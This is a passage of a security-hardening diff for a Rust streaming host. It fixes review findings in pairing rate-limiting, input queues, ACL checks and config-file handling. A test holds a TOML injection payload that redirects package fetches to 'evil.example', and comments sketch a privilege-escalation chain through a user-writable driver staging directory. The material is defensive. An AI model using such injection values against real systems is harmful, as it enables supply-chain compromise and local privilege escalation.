// The UI credential sits one segment below an allowed route and must stay denied.
assert!(auth::plugin_may_access(
&Method::PUT,
"/api/v1/plugins/rom-manager"
));
assert!(!auth::plugin_may_access(
&Method::GET,
"/api/v1/plugins/rom-manager/ui-credential"
));
// A hypothetical future sub-route of an allowed route is denied until classified.
assert!(!auth::plugin_may_access(
&Method::GET,
"/api/v1/library/secrets"
));
assert!(!auth::plugin_may_access(
&Method::POST,
"/api/v1/session/settings/x"
));
// Method matters: the roster is readable, its removal is not.
assert!(auth::plugin_may_access(&Method::GET, "/api/v1/clients"));
assert!(!auth::plugin_may_access(
&Method::DELETE,
"/api/v1/clients/aabbcc"
));
// A path prefix that is not a segment prefix must not match at all.
assert!(!auth::plugin_may_access(&Method::GET, "/api/v1/statuses"));
assert!(!auth::plugin_may_access(
&Method::GET,
"/api/v1/library-secrets"
));
}
/// The OpenAPI document lists every route with a unique operationId (codegen relies
/// on both), and the checked-in copy is current.
#[test]
+8 -4
View File
@@ -45,7 +45,14 @@ fn load_or_generate_impl(env_var: &str, file: &str) -> Result<String> {
return Ok(v.to_string());
}
}
let path = pf_paths::config_dir().join(file);
let dir = pf_paths::config_dir();
// Owner-private dir (0700 Unix / DACL-locked Windows) so the token can't leak via the config
// path — applied BEFORE the read, not just before the write (2026-08-05 review M-1). Reading an
// existing token out of a directory a local user could still write means adopting whatever they
// put there: the mgmt token IS full admin on this host, so a planted one is a handed-over
// control plane, and it would be honoured for the life of the install.
pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?;
let path = dir.join(file);
if let Ok(contents) = fs::read_to_string(&path) {
if let Some(tok) = parse_token(&contents, env_var) {
return Ok(tok);
@@ -54,9 +61,6 @@ fn load_or_generate_impl(env_var: &str, file: &str) -> Result<String> {
let mut buf = [0u8; 32];
rand::thread_rng().fill_bytes(&mut buf);
let token = hex::encode(buf);
let dir = pf_paths::config_dir();
// Owner-private dir (0700 Unix / DACL-locked Windows) so the token can't leak via the config path.
pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?;
write_token(&path, env_var, &token)?;
tracing::info!(path = %path.display(), "generated and persisted API token (owner-only)");
Ok(token)
+59 -17
View File
@@ -817,6 +817,31 @@ async fn serve_session(
anyhow::bail!("pairing requires the client to present a certificate");
};
let client_fp_hex = fingerprint_hex(&client_fp);
// The cooldown is charged BEFORE the arming state is consulted, and stamped on EVERY
// outcome — including the rejections.
//
// It used to be charged only after `pin_for_attempt` returned a PIN, which made the two
// rejections free: an unpaired LAN peer could ask "is pairing armed right now?" at
// unlimited rate at zero cost, learning the moment the operator opens a window and racing
// the legitimate device into it (2026-08-05 review M-5). Charging first costs an attacker
// one cooldown per probe and makes armed/disarmed indistinguishable from rate-limited.
//
// The trade is deliberate: a peer spamming knocks can now hold the cooldown against the
// operator's real device. That is a visible, self-limiting nuisance — the operator retries
// — whereas the oracle was silent and gave away the window.
{
let mut last = last_pairing.lock().unwrap();
if let Some(t) = *last {
if t.elapsed() < PAIRING_COOLDOWN {
close_rejected(
&conn,
punktfunk_core::reject::RejectReason::PairingRateLimited,
);
anyhow::bail!("pairing rate-limited — retry shortly");
}
}
*last = Some(std::time::Instant::now());
}
// Resolve the live arming PIN per attempt (so a lapsed window no longer pairs), honoring any
// fingerprint binding.
let pin = match np.pin_for_attempt(&client_fp_hex) {
@@ -839,19 +864,6 @@ async fn serve_session(
)
}
};
{
let mut last = last_pairing.lock().unwrap();
if let Some(t) = *last {
if t.elapsed() < PAIRING_COOLDOWN {
close_rejected(
&conn,
punktfunk_core::reject::RejectReason::PairingRateLimited,
);
anyhow::bail!("pairing rate-limited — retry shortly");
}
}
*last = Some(std::time::Instant::now());
}
return pair_ceremony(&conn, send, recv, req, host_fp, np, &pin)
.await
.map(|()| Served::Session);
@@ -1208,7 +1220,22 @@ async fn serve_session(
// channel's 4 ms recv timeout — every motion sample of a pure-gyro aim (no button
// traffic) ate up to 4 ms of added latency/jitter. A single channel wakes the thread on
// whichever arrives.
let (input_tx, input_rx) = std::sync::mpsc::channel::<ClientInput>();
// BOUNDED, and lossy on overflow — the mic plane on this very datagram loop has been bounded
// with `try_send` since security-review S6, and the three input planes had simply never been
// given the same treatment (2026-08-05 review M-3).
//
// The producer is one `read_datagram` loop that can push a message per datagram; the consumer
// handles ONE item per iteration and then runs a full gamepad feedback pump + heartbeat. The
// producer therefore outruns the consumer by orders of magnitude, and with an unbounded queue
// the backlog is host RSS: pen batches amplify ~8× from wire to heap, so a paired client on a
// 100 Mbps link grows the host by ~100 MB/s until it dies. Reachable by any paired client, or
// any LAN peer under `--open`.
//
// Dropping is correct here in a way it would not be for a reliable stream: input is a
// real-time plane where a sample that cannot be delivered promptly is already stale — the
// freshest state wins, and the injector re-syncs from the next event.
const INPUT_QUEUE_DEPTH: usize = 1024;
let (input_tx, input_rx) = std::sync::mpsc::sync_channel::<ClientInput>(INPUT_QUEUE_DEPTH);
let rich_tx = input_tx.clone();
// The stream loop's handle into the same pipeline: it parks the seat pointer on the
// streamed surface (stream.rs `park_pointer`) through exactly the path client input takes.
@@ -1235,6 +1262,20 @@ async fn serve_session(
let input_conn = conn.clone();
tokio::spawn(async move {
let (mut input_count, mut mic_count, mut rich_count) = (0u64, 0u64, 0u64);
let mut dropped = 0u64;
// `try_send` on a full queue drops rather than blocking this loop — blocking here would
// stall the mic plane and the datagram reader itself. A DISCONNECTED channel is the input
// thread having gone away, which is the one condition that ends the loop.
let mut offer = |tx: &std::sync::mpsc::SyncSender<ClientInput>, item: ClientInput| match tx
.try_send(item)
{
Ok(()) => true,
Err(std::sync::mpsc::TrySendError::Full(_)) => {
dropped += 1;
true
}
Err(std::sync::mpsc::TrySendError::Disconnected(_)) => false,
};
while let Ok(d) = input_conn.read_datagram().await {
if let Some((seq, pts, opus)) = punktfunk_core::quic::decode_mic_datagram(&d) {
mic_count += 1;
@@ -1249,7 +1290,7 @@ async fn serve_session(
});
} else if let Some(rich) = punktfunk_core::quic::RichInput::decode(&d) {
rich_count += 1;
if rich_tx.send(ClientInput::Rich(rich)).is_err() {
if !offer(&rich_tx, ClientInput::Rich(rich)) {
break;
}
} else if let Some(pen) = punktfunk_core::quic::PenBatch::decode(&d) {
@@ -1257,7 +1298,7 @@ async fn serve_session(
// design; see punktfunk_core::quic::pen). Routed to the same input thread,
// which owns the per-session tracker + virtual tablet.
rich_count += 1;
if rich_tx.send(ClientInput::Pen(pen)).is_err() {
if !offer(&rich_tx, ClientInput::Pen(pen)) {
break;
}
} else if let Some(mut ev) = InputEvent::decode(&d) {
@@ -1273,7 +1314,7 @@ async fn serve_session(
) {
ev.flags &= !crate::inject::KEY_FLAG_SEMANTIC_VK;
}
if input_tx.send(ClientInput::Event(ev)).is_err() {
if !offer(&input_tx, ClientInput::Event(ev)) {
break;
}
}
@@ -1282,6 +1323,7 @@ async fn serve_session(
input = input_count,
mic = mic_count,
rich = rich_count,
dropped,
"client datagram stream ended"
);
});
@@ -70,6 +70,15 @@ pub(super) async fn run(
// coalesces a well-behaved resize drag; compliant clients self-limit to ≥ 1 s).
const MIN_SWITCH_INTERVAL: std::time::Duration = std::time::Duration::from_millis(500);
let mut last_accepted_switch: Option<std::time::Instant> = None;
// Speed-test probes get the same treatment as mode switches, for the same reason.
//
// Each probe is individually clamped (5 s, 10 Gbps) but nothing capped how many a client could
// queue, so one could pause its own video and pin the host's uplink indefinitely by simply
// asking again — `Reconfigure` on this very task was rate-limited and `ProbeRequest` was not
// (2026-08-05 review L-3). One probe per 10 s is far more than a real client needs (it probes
// at session start and on a manual speed test) and makes the channel useless as an amplifier.
const MIN_PROBE_INTERVAL: std::time::Duration = std::time::Duration::from_secs(10);
let mut last_probe: Option<std::time::Instant> = None;
// Resumable framing: this read is one arm of a `select!` whose siblings fire on every probe
// result / reconfigure / clip offer, so the read future is dropped routinely. `io::read_msg`
// would lose the partial frame and misalign the stream for the rest of the session.
@@ -233,6 +242,15 @@ pub(super) async fn run(
);
let _ = shard_ack_tx.send(ack.shard_payload);
} else if let Ok(req) = ProbeRequest::decode(&msg) {
let now = std::time::Instant::now();
if last_probe.is_some_and(|t| now.duration_since(t) < MIN_PROBE_INTERVAL) {
tracing::warn!(
target_kbps = req.target_kbps,
"speed-test probe rejected (rate-limited)"
);
continue;
}
last_probe = Some(now);
tracing::info!(
target_kbps = req.target_kbps,
duration_ms = req.duration_ms,
+13 -2
View File
@@ -848,11 +848,22 @@ pub(super) fn input_thread(
// Rich input (touchpad / motion) is applied the moment it arrives; the single channel
// wakes for gyro samples instead of making them wait out the feedback poll interval.
Ok(ClientInput::Rich(rich)) => {
if matches!(rich, punktfunk_core::quic::RichInput::Motion { .. }) {
// Debug-only instrument: skip the whole thing unless debug logging is actually
// enabled. It used to grow and `sort_unstable()` a Vec in the input hot loop
// regardless, so every session paid for a measurement nobody was reading — and the
// "bounded by a 5 s window at a plausible pad rate" reasoning was an assumption
// about the CLIENT's send rate, not a bound the host enforced (2026-08-05 review
// L-5). The explicit cap below makes it a bound.
if matches!(rich, punktfunk_core::quic::RichInput::Motion { .. })
&& tracing::enabled!(tracing::Level::DEBUG)
{
let now = std::time::Instant::now();
if let Some(prev) = last_motion.replace(now) {
let gap = now.duration_since(prev);
if gap < std::time::Duration::from_secs(1) {
// 30k samples is 5 s at 6 kHz — well past any real pad, and a hard stop
// for a client that simply sends motion as fast as the link allows.
if gap < std::time::Duration::from_secs(1) && motion_gaps_us.len() < 30_000
{
motion_gaps_us.push(gap.as_micros() as u32);
}
}
+14 -4
View File
@@ -7,6 +7,7 @@ use super::*;
// The ceremony-only wire messages: imported directly (native.rs no longer references them, so they
// were dropped from its `use` and won't come through `use super::*`). `PairRequest` still arrives
// via the glob (serve_session decodes it).
use crate::native_pairing::sanitize_device_name;
use punktfunk_core::quic::{PairChallenge, PairProof, PairResult};
/// Pairing needs a human in the loop (reading the PIN off the host, typing it into the
@@ -29,10 +30,19 @@ pub(super) async fn pair_ceremony(
use punktfunk_core::quic::pake;
let client_fp = endpoint::peer_fingerprint(conn)
.ok_or_else(|| anyhow!("pairing requires the client to present a certificate"))?;
let client_fp_hex = fingerprint_hex(&client_fp);
// Scrub the wire-supplied name ONCE, here, and log only the scrubbed value from now on.
//
// This name arrives from an UNPAIRED device — the earliest, least authenticated input the host
// takes — and these were the three log sites that bypassed the documented single scrubber, so
// ANSI/C0 escapes and bidi overrides reached the operator's terminal and the journal
// (2026-08-05 review L-2). `sanitize_device_name` is "the one place that scrubs it" by its own
// module doc; the storage path already went through it, only the logging did not.
let name = sanitize_device_name(&req.name, &client_fp_hex);
tracing::info!(
name = %req.name,
client = %fingerprint_hex(&client_fp),
name = %name,
client = %client_fp_hex,
"PAIRING REQUEST — verifying against the armed PIN"
);
@@ -74,9 +84,9 @@ pub(super) async fn pair_ceremony(
if let Err(e) = np.add(&req.name, &fingerprint_hex(&client_fp)) {
tracing::error!(error = %format!("{e:#}"), "could not persist paired clients");
}
tracing::info!(name = %req.name, "pairing complete — client trusted");
tracing::info!(name = %name, "pairing complete — client trusted");
} else {
tracing::warn!(name = %req.name, "pairing rejected (wrong PIN) — fingerprint not stored");
tracing::warn!(name = %name, "pairing rejected (wrong PIN) — fingerprint not stored");
}
io::write_msg(&mut send, &PairResult { ok }.encode()).await?;
let _ = send.finish();
+8 -3
View File
@@ -1307,7 +1307,7 @@ pub(super) struct SessionContext {
/// The session's input pipeline (the same channel client datagrams feed) — the stream loop
/// uses it to PARK the seat pointer on the streamed surface (see [`park_pointer`]).
#[cfg(target_os = "linux")]
pub(super) input_tx: std::sync::mpsc::Sender<super::input::ClientInput>,
pub(super) input_tx: std::sync::mpsc::SyncSender<super::input::ClientInput>,
}
/// Park the seat pointer at the centre of the streamed surface, through the SAME injection path
@@ -1325,7 +1325,7 @@ pub(super) struct SessionContext {
/// output's edge — pins the pointer to the surface the client actually sees. A desktop-model
/// client overrides it with its first absolute move, so the jump is invisible in practice.
#[cfg(target_os = "linux")]
fn park_pointer(input_tx: &std::sync::mpsc::Sender<super::input::ClientInput>, w: u32, h: u32) {
fn park_pointer(input_tx: &std::sync::mpsc::SyncSender<super::input::ClientInput>, w: u32, h: u32) {
let ev = punktfunk_core::input::InputEvent {
kind: punktfunk_core::input::InputKind::MouseMoveAbs,
_pad: [0; 3],
@@ -1336,7 +1336,12 @@ fn park_pointer(input_tx: &std::sync::mpsc::Sender<super::input::ClientInput>, w
// matches the streamed output by exactly these dims.
flags: (w << 16) | (h & 0xffff),
};
if input_tx.send(super::input::ClientInput::Event(ev)).is_ok() {
// `try_send`, matching the bounded input queue (2026-08-05 review M-3): parking is a
// best-effort nicety and must never block the stream loop behind a full input backlog.
if input_tx
.try_send(super::input::ClientInput::Event(ev))
.is_ok()
{
tracing::info!(
w,
h,
+97 -3
View File
@@ -137,6 +137,49 @@ pub(crate) fn installed_packages(dir: &Path) -> Vec<InstalledPkg> {
out
}
/// A registry URL that is safe to write into a hand-formatted TOML string, and plausible as a
/// registry: absolute https, bounded, and built only from characters that appear in a real URL.
///
/// Deliberately a strict allowlist rather than "reject quotes and newlines" — the failure this
/// guards is TOML injection, and a denylist of the delimiters someone remembers is how the original
/// `starts_with("https://")` check came to be the only guard at all. No quote, no whitespace, no
/// control character, no backslash can pass, so `"{scope}" = "{url}"` cannot be closed early.
fn valid_registry_url(url: &str) -> bool {
let Some(rest) = url.strip_prefix("https://") else {
return false;
};
!rest.is_empty()
&& url.len() <= 512
&& rest.chars().all(|c| {
c.is_ascii_alphanumeric()
|| matches!(
c,
'-' | '.'
| '_'
| '~'
| ':'
| '/'
| '?'
| '#'
| '['
| ']'
| '@'
| '!'
| '$'
| '&'
| '\''
| '('
| ')'
| '*'
| '+'
| ','
| ';'
| '='
| '%'
)
})
}
/// Point a package scope at its registry in the plugins dir's `bunfig.toml`.
///
/// The runner CLI can do this too (`--registry @scope=URL`), but the store must **not** depend on
@@ -149,9 +192,17 @@ pub(crate) fn installed_packages(dir: &Path) -> Vec<InstalledPkg> {
/// Idempotent and non-destructive, matching `sdk/src/plugins.ts::ensureBunfig`: a scope already
/// mapped to this URL is left alone, one mapped elsewhere is rewritten, unrelated content survives.
pub(crate) fn ensure_bunfig_scope(dir: &Path, scope: &str, url: &str) -> Result<()> {
// The scope and URL both come from a signature-verified, field-validated index entry
// (`@`-prefixed, `[a-z0-9._-]`, https), so neither can smuggle a quote or newline into the TOML.
if !index::valid_scoped_pkg(&format!("{scope}/x")) || !url.starts_with("https://") {
// Both halves are hand-formatted into TOML below (`"{scope}" = "{url}"`), so both must be
// proven unable to close the quote.
//
// The scope always was. The URL was not: its only guard was `starts_with("https://")`, and
// `Entry::registry` — unlike `title`/`description`/`author`/`version` — never goes through
// `sanitize`, so everything after the prefix arrived verbatim. A catalog entry whose registry
// read `https://ok/"\n[install]\nregistry = "https://evil/` injected a top-level `[install]`
// table into the file that tells `bun` where to fetch EVERY package from — and it persists
// after the source is deleted, because nothing rewrites this file (2026-08-05 review M-7).
// Sources may be unsigned, so "it came from a verified index" was not a guarantee either.
if !index::valid_scoped_pkg(&format!("{scope}/x")) || !valid_registry_url(url) {
bail!("refusing to map scope `{scope}` to `{url}`");
}
std::fs::create_dir_all(dir).with_context(|| format!("create {}", dir.display()))?;
@@ -679,6 +730,49 @@ mod tests {
assert!(!dir.path().join("bunfig.toml").exists());
}
/// TOML injection through the registry URL (2026-08-05 review M-7). `Entry::registry` never
/// goes through `sanitize`, and the old guard was a bare `starts_with("https://")` — so
/// everything after the prefix reached a hand-formatted `"{scope}" = "{url}"` verbatim. The
/// payload that mattered injects a top-level `[install]` table, redirecting every subsequent
/// package resolution, and survives deletion of the source that introduced it.
#[test]
fn bunfig_registry_url_cannot_inject_a_toml_table() {
let dir = tempfile::tempdir().unwrap();
let injection = "https://ok.example/\"\n[install]\nregistry = \"https://evil.example/";
assert!(
ensure_bunfig_scope(dir.path(), "@x", injection).is_err(),
"a registry URL that closes the TOML string must be refused"
);
assert!(!dir.path().join("bunfig.toml").exists());
// The individual characters that make it possible, each on its own.
for bad in [
"https://e/\"quote",
"https://e/\nnewline",
"https://e/\rcarriage",
"https://e/ space",
"https://e/\ttab",
"https://e/back\\slash",
"https://e/nul\0byte",
] {
assert!(
ensure_bunfig_scope(dir.path(), "@x", bad).is_err(),
"must refuse registry URL {bad:?}"
);
}
// Real registry URLs — including ports, query strings and percent-escapes — still pass.
for good in [
"https://git.unom.io/api/packages/unom/npm/",
"https://registry.example.com:8443/npm/",
"https://example.com/npm/?token=abc%20def",
] {
assert!(
ensure_bunfig_scope(dir.path(), "@x", good).is_ok(),
"must accept registry URL {good:?}"
);
}
}
/// The name-shape guard is necessary but NOT sufficient — see `mgmt::store::uninstall_plugin`.
///
/// `@punktfunk/plugin-kit` is a plugin's *framework*, and it satisfies every syntactic rule
+222 -32
View File
@@ -61,6 +61,22 @@ pub fn driver_main(args: &[String]) -> Result<()> {
fn driver_install(args: &[String]) -> Result<()> {
let dir =
PathBuf::from(flag_val(args, "--dir").context("driver install: --dir <stage> required")?);
// Everything below this line runs with the caller's privileges — which, on the installer path,
// are SYSTEM/Administrator — and it does three things with the CONTENTS of `dir`: trusts a
// `.cer` into the machine `Root` store, runs `nefconc.exe` from it, and stages an `.inf` into
// the driver store. So the directory is not merely an input, it is code and trust; a stage a
// non-admin can write is a local privilege escalation, whoever passed the flag.
//
// This is the check the 2026-07-05 audit recorded as FIXED (F-8) and which was never actually
// in the tree — re-found by the 2026-08-05 review as H-5, and the payload half of H-4's
// plant-then-elevate chain (`PUNKTFUNK_HOST_CMD=driver install --dir C:\Users\attacker\stage`).
ensure_admin_only_source(&dir).with_context(|| {
format!(
"refusing to install drivers from {} — the staging directory must be writable only by \
SYSTEM/Administrators",
dir.display()
)
})?;
let gamepad = flag_present(args, "--gamepad");
let (what, res) = if gamepad {
("gamepad", install_gamepad(&dir))
@@ -74,6 +90,163 @@ fn driver_install(args: &[String]) -> Result<()> {
Ok(())
}
/// Refuse a driver staging directory that anyone but SYSTEM/Administrators can write.
///
/// Two conditions, both necessary:
/// - the directory is **owned** by SYSTEM, Administrators, or TrustedInstaller — an owner always
/// retains `WRITE_DAC`, so a non-admin owner can put their own access back no matter what the
/// DACL currently says;
/// - no **allow** ACE grants a write-shaped right to any trustee outside that same set. `CREATOR
/// OWNER` counts as outside: on a directory a non-admin pre-created under `C:\ProgramData`, it is
/// precisely what keeps handing them control of everything inside.
///
/// Reads the security descriptor directly rather than parsing `icacls` output, which prints
/// *localized account names* — the same class of locale trap this whole module exists to avoid.
#[cfg(windows)]
fn ensure_admin_only_source(dir: &Path) -> Result<()> {
use std::os::windows::ffi::OsStrExt;
use windows::core::PCWSTR;
use windows::Win32::Foundation::{LocalFree, HLOCAL};
use windows::Win32::Security::Authorization::{GetNamedSecurityInfoW, SE_FILE_OBJECT};
use windows::Win32::Security::{
EqualSid, GetAce, IsValidSid, ACCESS_ALLOWED_ACE, ACE_HEADER, ACL,
DACL_SECURITY_INFORMATION, OWNER_SECURITY_INFORMATION, PSECURITY_DESCRIPTOR, PSID,
};
const ACCESS_ALLOWED_ACE_TYPE: u8 = 0;
/// Rights that let a trustee change what we are about to trust and execute: write/append data,
/// write attributes/EA, delete (incl. child delete), and the two that let them rewrite the
/// security descriptor itself. `GENERIC_WRITE`/`GENERIC_ALL` map onto these once mapped, and
/// both generic bits are checked explicitly in case an ACE stores them unmapped.
const WRITE_MASK: u32 = 0x0000_0002 // FILE_WRITE_DATA / FILE_ADD_FILE
| 0x0000_0004 // FILE_APPEND_DATA / FILE_ADD_SUBDIRECTORY
| 0x0000_0010 // FILE_WRITE_EA
| 0x0000_0100 // FILE_WRITE_ATTRIBUTES
| 0x0000_0040 // FILE_DELETE_CHILD
| 0x0001_0000 // DELETE
| 0x0004_0000 // WRITE_DAC
| 0x0008_0000 // WRITE_OWNER
| 0x1000_0000 // GENERIC_ALL
| 0x4000_0000; // GENERIC_WRITE
if !dir.is_dir() {
bail!("{} is not a directory", dir.display());
}
let wide: Vec<u16> = dir
.as_os_str()
.encode_wide()
.chain(std::iter::once(0))
.collect();
let mut owner = PSID::default();
let mut dacl: *mut ACL = std::ptr::null_mut();
let mut sd = PSECURITY_DESCRIPTOR::default();
// SAFETY: `wide` is NUL-terminated and outlives the call; the out-params are live locals; the
// returned descriptor is the single allocation, LocalFree'd below (owner/dacl point into it).
let rc = unsafe {
GetNamedSecurityInfoW(
PCWSTR(wide.as_ptr()),
SE_FILE_OBJECT,
OWNER_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION,
Some(&mut owner),
None,
Some(&mut dacl),
None,
&mut sd,
)
};
let verdict = (|| -> Result<()> {
rc.ok().context("GetNamedSecurityInfoW(owner + DACL)")?;
let privileged = privileged_sids()?;
// SAFETY: `owner` points into the descriptor returned above and is valid for this scope.
let is_privileged = |sid: PSID| -> bool {
if sid.is_invalid() || !unsafe { IsValidSid(sid) }.as_bool() {
return false;
}
privileged
.iter()
.any(|p| unsafe { EqualSid(sid, PSID(p.as_ptr().cast_mut().cast())) }.is_ok())
};
if !is_privileged(owner) {
bail!(
"the directory is owned by a non-administrative account, which retains WRITE_DAC \
and can restore its own access at any time"
);
}
// A NULL DACL grants everyone everything; an absent one is not "no access".
if dacl.is_null() {
bail!("the directory has a NULL DACL (everyone has full control)");
}
// SAFETY: `dacl` is a valid ACL inside the descriptor; AceCount bounds the GetAce index.
let count = unsafe { (*dacl).AceCount };
for i in 0..count as u32 {
let mut ace: *mut core::ffi::c_void = std::ptr::null_mut();
// SAFETY: i < AceCount, and `ace` is a live out-param.
unsafe { GetAce(dacl, i, &mut ace) }.context("GetAce")?;
// SAFETY: every ACE starts with an ACE_HEADER.
let header = unsafe { *(ace as *const ACE_HEADER) };
if header.AceType != ACCESS_ALLOWED_ACE_TYPE {
continue; // deny ACEs only ever subtract; audit ACEs grant nothing
}
// SAFETY: an allow ACE is an ACCESS_ALLOWED_ACE, whose SidStart begins the trustee SID.
let allowed = unsafe { &*(ace as *const ACCESS_ALLOWED_ACE) };
if allowed.Mask & WRITE_MASK == 0 {
continue; // read-only for this trustee — harmless
}
let sid = PSID(std::ptr::addr_of!(allowed.SidStart) as *mut core::ffi::c_void);
if !is_privileged(sid) {
bail!(
"a non-administrative trustee has write access (ACE {i}, mask {:#010x}) — \
anything staged here can be replaced before it is trusted or executed",
allowed.Mask
);
}
}
Ok(())
})();
// SAFETY: `sd` is the single LocalAlloc'd descriptor GetNamedSecurityInfoW returned.
unsafe {
let _ = LocalFree(Some(HLOCAL(sd.0)));
}
verdict
}
/// The SIDs allowed to own or write a driver staging directory: `SYSTEM`, `BUILTIN\Administrators`,
/// and `TrustedInstaller` (which owns much of `%ProgramFiles%`, a perfectly good stage).
#[cfg(windows)]
fn privileged_sids() -> Result<Vec<Vec<u8>>> {
use windows::core::PCWSTR;
use windows::Win32::Foundation::{LocalFree, HLOCAL};
use windows::Win32::Security::Authorization::ConvertStringSidToSidW;
use windows::Win32::Security::{GetLengthSid, PSID};
[
"S-1-5-18",
"S-1-5-32-544",
"S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464",
]
.iter()
.map(|s| {
let wide: Vec<u16> = s.encode_utf16().chain(std::iter::once(0)).collect();
let mut psid = PSID::default();
// SAFETY: `wide` is NUL-terminated and outlives the call; psid is a live out-param.
unsafe { ConvertStringSidToSidW(PCWSTR(wide.as_ptr()), &mut psid) }
.with_context(|| format!("ConvertStringSidToSidW({s})"))?;
// SAFETY: psid is a valid SID; copy it out so the caller owns plain bytes.
let len = unsafe { GetLengthSid(psid) } as usize;
let bytes = unsafe { std::slice::from_raw_parts(psid.0 as *const u8, len) }.to_vec();
// SAFETY: ConvertStringSidToSidW allocates with LocalAlloc.
unsafe {
let _ = LocalFree(Some(HLOCAL(psid.0)));
}
Ok(bytes)
})
.collect()
}
/// The subject CN both driver-signing certs carry (`build-pf-vdisplay.ps1` /
/// `build-gamepad-drivers.ps1`). certutil matches a CertId against the subject, so this is how we
/// find our own certs again without parsing any localized output — see `purge_driver_certs`.
@@ -454,7 +627,12 @@ fn web_setup(args: &[String]) -> Result<()> {
PathBuf::from(flag_val(args, "--app-dir").context("web setup: --app-dir <app> required")?);
let pw_file = flag_val(args, "--password-file");
let data_dir = pf_paths::config_dir();
std::fs::create_dir_all(&data_dir).ok();
// `create_private_dir`, not `create_dir_all`: this runs at install time, before anything else
// touches the config dir, and the very next line writes the console login password into it. A
// plain `create_dir_all` leaves the inherited `%ProgramData%` ACL, under which BUILTIN\Users may
// create files — so the one call that most needs the hardened directory was the one creating it
// unhardened (2026-08-05 review H-4).
pf_paths::create_private_dir(&data_dir).ok();
// 1. login password
set_web_password(&data_dir.join("web-password"), pw_file.as_deref());
@@ -477,39 +655,51 @@ fn web_setup(args: &[String]) -> Result<()> {
server.display()
);
}
// 4. firewall: inbound TCP 47992. The console serves HTTPS (HTTP/1.1 over TLS) with the host's
// identity cert. (No UDP/HTTP-3: browsers won't use QUIC against a self-signed/no-SAN cert.)
// Scoped to the same profiles as the streaming ports — Domain + Private by default, Public
// only with `--allow-public-network`. Delete any prior rule first so an upgrade re-scopes it
// instead of stacking a second (possibly all-profiles) rule behind the new one.
// 4. firewall: inbound TCP 47992 (console) and 47993 (plugin UIs). The console serves HTTPS
// (HTTP/1.1 over TLS) with the host's identity cert. (No UDP/HTTP-3: browsers won't use QUIC
// against a self-signed/no-SAN cert.) Scoped to the same profiles as the streaming ports —
// Domain + Private by default, Public only with `--allow-public-network`. Delete any prior
// rule first so an upgrade re-scopes it instead of stacking a second (possibly all-profiles)
// rule behind the new one.
//
// 47993 is a SEPARATE ORIGIN, not a second copy of the console: plugin UIs are served there
// precisely so a plugin cannot act as the logged-in operator on the console's origin
// (security-review 2026-08-05 H-3). Same host, same certificate, different port — which is
// what makes it a different origin to the browser while staying same-site for the session
// cookie. Without this rule, plugin interfaces simply do not load from another device.
let fw_profile =
crate::service::firewall_profile_arg(crate::service::allow_public_network(args)?);
run_quiet(
"netsh",
&[
"advfirewall",
"firewall",
"delete",
"rule",
"name=Punktfunk web console (TCP 47992)",
],
);
if !run_quiet(
"netsh",
&[
"advfirewall",
"firewall",
"add",
"rule",
"name=Punktfunk web console (TCP 47992)",
"dir=in",
"action=allow",
"protocol=TCP",
"localport=47992",
fw_profile,
],
) {
eprintln!("warning: could not add the firewall rule for TCP 47992");
for (name, port) in [
("Punktfunk web console (TCP 47992)", "47992"),
("Punktfunk plugin UIs (TCP 47993)", "47993"),
] {
run_quiet(
"netsh",
&[
"advfirewall",
"firewall",
"delete",
"rule",
&format!("name={name}"),
],
);
if !run_quiet(
"netsh",
&[
"advfirewall",
"firewall",
"add",
"rule",
&format!("name={name}"),
"dir=in",
"action=allow",
"protocol=TCP",
&format!("localport={port}"),
fw_profile,
],
) {
eprintln!("warning: could not add the firewall rule for TCP {port}");
}
}
// No start step: the PunktfunkHost service supervises the console and starts it the moment the
// host has written the files it needs (mgmt token + identity cert/key) — there is nothing an
+17 -5
View File
@@ -1343,14 +1343,26 @@ fn uninstall() -> Result<()> {
/// defaults to `auto` — the host picks NVENC (NVIDIA) / AMF (AMD) / QSV (Intel) from the GPU vendor.
fn ensure_default_host_env() -> Result<()> {
let path = host_env_path();
if path.exists() {
return Ok(());
}
// Harden the config dir FIRST, unconditionally — before the `exists()` check, not inside the
// branch that creates the file.
//
// The 2026-08-05 review's H-4: this used to return early when host.env already existed, which
// skipped the very `create_private_dir` whose reason for existing is "so a local user can't
// pre-create it and plant a host.env". `C:\ProgramData` grants BUILTIN\Users add-subdirectory
// plus CREATOR OWNER full control, so an unprivileged user can create `C:\ProgramData\punktfunk`,
// own it, and drop a host.env — and the skip meant the one case the hardening was written for was
// the one case it never ran in. The service then loads that file verbatim into its own SYSTEM
// environment and into the command line it launches (`PUNKTFUNK_HOST_CMD=…`).
if let Some(dir) = path.parent() {
// DACL-lock the config dir on creation so a local user can't pre-create it and plant a
// host.env (which feeds the SYSTEM service's env + command line) — security-review #3.
pf_paths::create_private_dir(dir).ok();
}
if path.exists() {
// An existing host.env may predate the hardening (or have been planted before it ran), in
// which case it is still owned by whoever created it — and an owner can rewrite the DACL it
// inherited. Re-apply the SYSTEM/Administrators lock to the FILE as well as the directory.
pf_paths::restrict_existing_secret_file(&path);
return Ok(());
}
let default = "# punktfunk host configuration (read by the Windows service).\n\
# KEY=VALUE per line; '#' comments. Restart the service after editing:\n\
# punktfunk-host service stop && punktfunk-host service start\n\
+43 -21
View File
@@ -7,13 +7,20 @@ Every Punktfunk client has an in-stream stats overlay. All clients use **the sam
vocabulary and the same four measurement points**, so a stage name on your phone means
what the same name means on your desktop.
Two platforms differ in the *math*: on **iOS and tvOS** the headline is **floor-shaved**.
The fixed depth of Apple's present pipeline — roughly two refresh intervals, which no
client can pace under — is excluded from it, and the Detailed tier prints the excluded
Some platforms differ in the *math*: on **iOS, tvOS and Android** the headline is
**floor-shaved**. The depth of the OS present pipeline — the compositor's own wait, which
no client can pace under — is excluded from it, and the Detailed tier prints the excluded
term on its own line as `os present +X.X excluded (display pipeline minimum)`. Add that
floor back before holding an iPhone, iPad or Apple TV's `capture→on-glass` next to a
macOS, Linux, Windows or Android one. (The macOS client shaves nothing: it presents
straight to the display, with no such pipeline depth to measure, so its numbers are raw.)
floor back before holding an iPhone, iPad, Apple TV or Android device's headline next to a
macOS, Linux or Windows one. (The macOS client shaves nothing: it presents straight to the
display, with no such pipeline depth to measure, so its numbers are raw.)
The floor is **measured, not assumed**, and it is not small: it is commonly one to two
refresh intervals, which on a 60 Hz phone is more than 30 ms — enough on its own to dwarf
everything Moonlight's overlay displays. Charging it to the stream made Punktfunk look
slower than clients that simply never measure that far (see
